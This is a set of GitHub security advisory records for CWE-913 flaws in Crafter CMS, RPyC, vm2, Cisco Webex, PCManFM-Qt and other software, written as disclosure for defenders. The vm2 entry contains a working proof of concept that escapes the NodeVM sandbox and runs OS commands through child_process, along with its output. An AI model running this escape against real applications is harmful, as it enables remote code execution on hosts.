CWE-913

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.craftercms:craftercms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-02T22:36:58Z",
    "nvd_published_at": "2026-02-02T17:16:17Z",
    "severity": "MODERATE"
  },
  "details": "Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass. By inserting malicious Groovy elements, an attacker may bypass sandbox restrictions and obtain RCE (Remote Code Execution).",
  "id": "GHSA-gj28-gw7w-3pxc",
  "modified": "2026-02-02T22:36:58Z",
  "published": "2026-02-02T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1770"
    },
    {
      "type": "WEB",
      "url": "https://docs.craftercms.org/current/security/advisory.html#cv-2026020201"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftercms/craftercms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Crafter CMS has Improper Control of Dynamically-Managed Code Resources"
}

{
  "affected": [],
  "aliases": [
    "CVE-2020-3419"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-18T19:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A vulnerability in Cisco Webex Meetings and Cisco Webex Meetings Server could allow an unauthenticated, remote attacker to join a Webex session without appearing on the participant list. This vulnerability is due to improper handling of authentication tokens by a vulnerable Webex site. An attacker could exploit this vulnerability by sending crafted requests to a vulnerable Cisco Webex Meetings or Cisco Webex Meetings Server site. A successful exploit requires the attacker to have access to join a Webex meeting, including applicable meeting join links and passwords. The attacker could then exploit this vulnerability to join meetings, without appearing in the participant list, while having full access to audio, video, chat, and screen sharing capabilities.",
  "id": "GHSA-gq3h-3p4j-vffv",
  "modified": "2022-05-24T17:34:34Z",
  "published": "2022-05-24T17:34:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3419"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-webex-auth-token-3vg57A5r"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-85408"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-04T05:17:15Z",
    "severity": "LOW"
  },
  "details": "A vulnerability was determined in Eleveo Quality Management 9.7.0. Impacted is an unknown function of the file /enc-fwk-data/api/v3/conversations/\u003cID\u003e/events of the component Conversation Handler. This manipulation of the argument createdBy causes dynamically-determined object attributes. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-h4f3-rj2v-c7hp",
  "modified": "2026-09-04T06:31:23Z",
  "published": "2026-09-04T06:31:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85408"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1fVUqrUoO29zkq2Ib_TXFNavX9yDo-Vp6/view?usp=sharing"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-85408"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/894906"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/398558"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/398558/cti"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "rpyc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "6.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-27758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-358",
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-06T17:05:30Z",
    "nvd_published_at": "2024-03-12T16:15:08Z",
    "severity": "HIGH"
  },
  "details": "An issue in Open Source: RPyC v.4.00 thru v.5.3.1 allows a remote attacker to execute arbitrary code via a crafted script to the `__array__` attribute component. This vulnerability was introduced in [9f45f826](https://github.com/tomerfiliba-org/rpyc/commit/9f45f8269d4106905db61d82cd529cacdb178911).\n\n### Attack Vector\nRPyC services that rely on the `__array__` attribute used by numpy are impacted. When the server-side exposes a method that calls the attribute named `__array__` for a a client provided netref (e.g., `np.array(client_netref)`), a remote attacker can craft a class which results in remote code execution\n\n### Impact\nAssuming the system exposes a method that calls the attribute `__array__`, an attacker can execute code using the vulnerable component. \n\n### Patches\nThe fix is available in RPyC 6.0.0. The major version change is because some users may need to set `allow_pickle` to `True` when migrating to RPyC 6.\n\n### Workarounds\nWhile the recommend fix is to upgrade to RPyC 6.0.0, the workaround is to [apply bba1d356 as patch.](https://github.com/tomerfiliba-org/rpyc/commit/bba1d3562e6f9f1256ec64048cc23001c0bb7516)\n\n### Affected Component\n[The affected component](https://github.com/tomerfiliba-org/rpyc/blob/5.3.1/rpyc/core/netref.py#L252-L255) is the `__array__` method constructed for `NetrefClass`.\n\n### References\n- [Original disclosure](https://gist.github.com/renbou/957f70d27470982994f12a1d70153d09) by [renbou (Artem Mikheev)](https://gist.github.com/renbou)\n- [CVE-2024-27758](https://nvd.nist.gov/vuln/detail/CVE-2024-27758)\n",
  "id": "GHSA-h5cg-53g7-gqjw",
  "modified": "2024-08-02T15:37:26Z",
  "published": "2024-03-06T17:05:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-h5cg-53g7-gqjw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27758"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba-org/rpyc/commit/9f45f8269d4106905db61d82cd529cacdb178911"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba-org/rpyc/commit/bba1d3562e6f9f1256ec64048cc23001c0bb7516"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/renbou/957f70d27470982994f12a1d70153d09"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/rpyc/PYSEC-2024-44.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tomerfiliba-org/rpyc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba-org/rpyc/blob/5.3.1/rpyc/core/netref.py#L252-L255"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RPyC\u0027s missing security check results in code execution when using numpy.array on the server-side."
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "toui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.1"
            },
            {
              "fixed": "2.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-33175"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913",
      "CWE-914"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-05-24T17:38:52Z",
    "nvd_published_at": "2023-05-30T05:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nWebsites that use `Website.user_vars` property in versions.\n\n### Patches\nIt affects versions v2.0.1 to v2.4.0. Please upgrade to v2.4.1\n\n### Workarounds\nDo not use `Website.user_vars` in websites when using versions v2.0.1 to v2.4.0. Also, do not use `Website.signin_user()` in version v2.4.0 only.\n\n### Explanation\nToUI is using Flask-Caching (SimpleCache) to store user variables. My misunderstanding was that these caches are stored in the client\u0027s browser, but it seems that these are stored in the server side.\n",
  "id": "GHSA-hh7j-pg39-q563",
  "modified": "2023-05-30T06:41:13Z",
  "published": "2023-05-24T17:38:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mubarakalmehairbi/ToUI/security/advisories/GHSA-hh7j-pg39-q563"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33175"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mubarakalmehairbi/ToUI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mubarakalmehairbi/ToUI/releases/tag/v2.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "toui allows user-specific variables to be shared between users"
}

{
  "affected": [],
  "aliases": [
    "CVE-2021-23259"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-02T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Authenticated users with Administrator or Developer roles may execute OS commands by Groovy Script which uses Groovy lib to render a webpage. The groovy script does not have security restrictions, which will cause attackers to execute arbitrary commands remotely(RCE).",
  "id": "GHSA-j2hp-qmrf-626c",
  "modified": "2021-12-04T00:01:14Z",
  "published": "2021-12-03T00:00:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23259"
    },
    {
      "type": "WEB",
      "url": "https://docs.craftercms.org/en/3.1/security/advisory.html#cv-2021120102"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.6"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92946"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:34:50Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`NodeVM`\u0027s `require.external` option lets sandboxed code `require()` local files and npm packages. When `require.external` is enabled and `require.root` is **not explicitly set to a path that excludes `node_modules`**, two defaults combine to fully defeat the sandbox:\n\n- `require.root` defaults to **unrestricted** \u2014 \"if omitted every path is allowed.\"\n- `require.context` defaults to **`\"host\"`** \u2014 files loaded this way run through the **real Node.js `require()`**, not inside any vm2 sandbox.\n\nSandboxed code can therefore `require()` a relative or absolute path to vm2\u0027s own installed package (`node_modules/vm2`), obtain the real, unwrapped `NodeVM`/`VM` classes, construct a brand-new **unrestricted** nested `NodeVM` instance, and execute arbitrary host OS commands via `child_process`.\n\nThis is exploitable using **vm2\u0027s own documented \"Quick Examples\" configuration** in `README.md`:\n\n```js\nconst vm = new NodeVM({\n  require: {\n    external: true,\n    root: \u0027./\u0027,\n  },\n});\n```\n\n`root: \u0027./\u0027` reads as a safety restriction but, in any ordinary npm project layout, `./node_modules/vm2` sits inside that same directory tree \u2014 so the restriction does not exclude vm2 itself. An application built by following the README\u0027s quick-start guide is affected by default.\n\n\n## Affected Versions\n\nAll vm2 versions where `lib/resolver-compat.js`\u0027s `makeResolverFromLegacyOptions` predates this report \u2014 confirmed present as of the current `main` (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).\n\n## Details / Root Cause\n\n`lib/resolver-compat.js`:\n\n```js\nconst {\n  builtin: builtinOpt,\n  mock: mockOpt,\n  external: externalOpt,\n  root: rootPaths,\n  resolve: customResolver,\n  customRequire: hostRequire = defaultRequire,\n  context = \u0027host\u0027,          // \u003c-- defaults to \u0027host\u0027\n  strict = true,\n  fs: fsOpt = DEFAULT_FS,\n} = options;\n...\nif (!externalOpt) return new Resolver(fsOpt, [], builtins);\n...\nlet checkedRootPaths;\nif (rootPaths !== undefined) {\n  // root is only canonicalized/validated if the embedder explicitly provided one.\n  ...\n}\n```\n\nand `CustomResolver.isPathAllowed`:\n\n```js\nisPathAllowed(filename) {\n  if (this.rootPaths === undefined) return true;   // \u003c-- unrestricted when root is omitted\n  ...\n}\n```\n\nand `CustomResolver.loadJS`:\n\n```js\nloadJS(vm, mod, filename) {\n  if (this.pathContext(filename, \u0027js\u0027) !== \u0027host\u0027) return super.loadJS(vm, mod, filename);\n  const m = this.hostRequire(filename);   // \u003c-- real host require(), when context === \u0027host\u0027 (the default)\n  mod.exports = vm.readonly(m);\n}\n```\n\n`CustomResolver` (the resolver used whenever `require.external` is a bare `true`, i.e. not a scoped array/object) has **no external-module-name allowlist at all** \u2014 it gates purely on `isPathAllowed`, which is a no-op when `root` isn\u0027t set. Combined with `context` defaulting to `\u0027host\u0027`, any absolute or root-relative path sandboxed code names is loaded and *executed* via the real, unsandboxed Node.js `require()`.\n\n**This is a distinct code path from the two already-fixed advisories that produce a similar end state:**\n\n- **Category 24 / GHSA-cp6g-6699-wx9c** (`require.root` symlink bypass) *assumes* `root` is configured and attacks the symlink boundary via a TOCTOU between `path.resolve()` and the native loader\u0027s symlink-following. `git log -- lib/resolver-compat.js` shows its fix (`realpath` canonicalization) is the *only* history that file has \u2014 nothing from the `nesting` fix touches it, and the fix does nothing when `root` is never set in the first place, since there is no boundary to attack via symlink.\n- **Category 25 / GHSA-8hg8-63c5-gwmx** (`nesting: true` bypass) closes a *different* delivery mechanism entirely \u2014 the `NESTING_OVERRIDE`-injected `vm2` builtin, gated by a constructor-time check on the `nesting` option. That check is never consulted by this path: an embedder with `nesting: false` (the default) and no dangerous `require.builtin` entries is still fully exposed via `require.external: true` alone.\n\nAn embedder who has correctly mitigated both prior advisories remains completely open through this one.\n\n**Documentation framing does not mitigate this to \"expected behavior.\"** `require.external`\u0027s JSDoc does carry an inline warning (\"`root` should be set to restrict the script from requiring any module\"), but it is unbolded prose stating a default, not flagged as dangerous \u2014 materially weaker than `nesting: true`\u0027s bolded **WARNING**, dedicated README section, and explicit \"grants unrestricted host module access\" language, all of which existed and still did not prevent `nesting` from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown \"Quick Examples\" snippet in `README.md` sets `root: \u0027./\u0027`, which reads as an active safety choice, not an acknowledgment of \"every path is allowed.\"\n\n## Proof of Concept\n\nSee attached `poc.js`. Reproduces using **vm2\u0027s own documented Quick Examples config**, in a normal project layout (`poc.js` next to a real `node_modules/vm2` install) \u2014 no symlinks, no `nesting`, no dangerous `require.builtin` entries, no modification to vm2\u0027s source.\n\n```js\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst vm = new NodeVM({\n  require: { external: true, root: \u0027./\u0027 },   // verbatim from README \"Quick Examples\"\n});\n\nlet vm2EntryPoint = path.relative(process.cwd(), require.resolve(\u0027vm2\u0027)).replace(/\\\\/g, \u0027/\u0027);\nif (!vm2EntryPoint.startsWith(\u0027.\u0027)) vm2EntryPoint = \u0027./\u0027 + vm2EntryPoint;\n\nconst result = vm.run(`\n  const real = require(${JSON.stringify(vm2EntryPoint)});\n  const inner = new real.NodeVM({ require: { builtin: [\u0027child_process\u0027], external: false } });\n  module.exports = inner.run(\"module.exports = require(\u0027child_process\u0027).execSync(\u0027whoami\u0027).toString().trim()\", \u0027inner.js\u0027);\n`, \u0027untrusted-plugin.js\u0027);\n\nconsole.log(result); // real host username, e.g. \"Abisheik M\"\n```\n\n**Actual output on the test machine:**\n```\n{ whoami: \u0027Abisheik M\u0027, platform: \u0027win32\u0027 }\n```\n\n`Abisheik M` is the real OS account executing the Node.js process \u2014 not a sandbox artifact.\n\n## Impact\n\nAny application that follows vm2\u0027s own README \"Quick Examples\" pattern (or any config with `require.external` enabled and `require.root` set to a path that includes `node_modules`, or omitted entirely) allows sandboxed/untrusted code to:\n\n- Execute arbitrary OS commands via `child_process` (full RCE).\n- Read/write arbitrary files via `fs` (once inside the re-instantiated unrestricted `NodeVM`).\n- Fully defeat every other sandbox restriction the embedder configured on the *outer* `NodeVM` \u2014 the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.\n\n## Suggested Fix\n\nMirror the precedent already established for `nesting` (Category 25) and `require.root` (Category 24): **fail loudly at construction time instead of silently defaulting to an unsafe combination.**\n\nIn `lib/resolver-compat.js`\u0027s `makeResolverFromLegacyOptions`, when `externalOpt` is truthy (bare `true`, or an object/array not scoped to specific module names only) and `rootPaths === undefined`, throw a `VMError` at `new NodeVM(...)` construction time \u2014 extending the *same* `checkedRootPaths` eager-probe block that Category 24\u0027s fix already introduced for the \"root is set but the fs adapter can\u0027t realpath\" case, to also cover \"root was never set at all.\" This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25\u0027s fix forces an explicit non-default `require` object when `nesting: true` is set.\n\nAdditionally: update `README.md`\u0027s \"Quick Examples\" snippet so it no longer shows a `root` value that is silently vulnerable to a same-directory `node_modules` install (e.g. scope it below the project root, or add an explicit callout that `root` must exclude `node_modules`).",
  "id": "GHSA-j3hm-6rg5-mchv",
  "modified": "2026-10-05T22:34:50Z",
  "published": "2026-10-05T22:34:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-j3hm-6rg5-mchv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92946"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.7-remote-code-execution-via-require-external"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.craftercms:craftercms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.1.0"
            },
            {
              "fixed": "3.1.23"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-40635"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78",
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-09-20T17:41:27Z",
    "nvd_published_at": "2022-09-13T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via Groovy Sandbox Bypass.",
  "id": "GHSA-j6x3-3jqq-m922",
  "modified": "2022-09-20T17:41:27Z",
  "published": "2022-09-14T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40635"
    },
    {
      "type": "WEB",
      "url": "https://docs.craftercms.org/en/3.1/security/advisory.html#cv-2022051602"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftercms/craftercms"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "CrafterCMS OS Command Injection vulnerability"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-48700"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-22T19:17:04Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in all versions of PCManFM-Qt starting from 1.1.0. When a regular file\u0027s path is passed as a URI in an org.freedesktop.FileManager1.ShowFolders D-Bus method call, PCManFM-Qt delegates to a different program (based on the file type) without user confirmation. This could be used to achieve code execution or circumvent network namespace restrictions. NOTE: those outcomes are potentially unwanted by most users; however, the behavior of the product does comply with the applicable specification, and a simplistic solution (ensuring that the URI does not name a regular file) may have adverse consequences for I/O.",
  "id": "GHSA-j7mp-frq8-hwp3",
  "modified": "2026-07-23T18:30:46Z",
  "published": "2026-05-26T13:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48700"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxqt/pcmanfm-qt/releases"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2026/05/19/1"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2026/05/20/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/24/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:N/R:I/V:D/RE:M/U:Clear",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-25265"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-16T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "In the Linux kernel through 5.16.10, certain binary files may have the exec-all attribute if they were built in approximately 2003 (e.g., with GCC 3.2.2 and Linux kernel 2.4.20). This can cause execution of bytes located in supposedly non-executable regions of a file.",
  "id": "GHSA-jgc5-xgwj-77vf",
  "modified": "2022-03-19T00:01:46Z",
  "published": "2022-02-17T00:00:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25265"
    },
    {
      "type": "WEB",
      "url": "https://github.com/torvalds/linux/blob/1c33bb0507508af24fd754dd7123bd8e997fab2f/arch/x86/include/asm/elf.h#L281-L294"
    },
    {
      "type": "WEB",
      "url": "https://github.com/x0reaxeax/exec-prot-bypass"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220318-0005"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}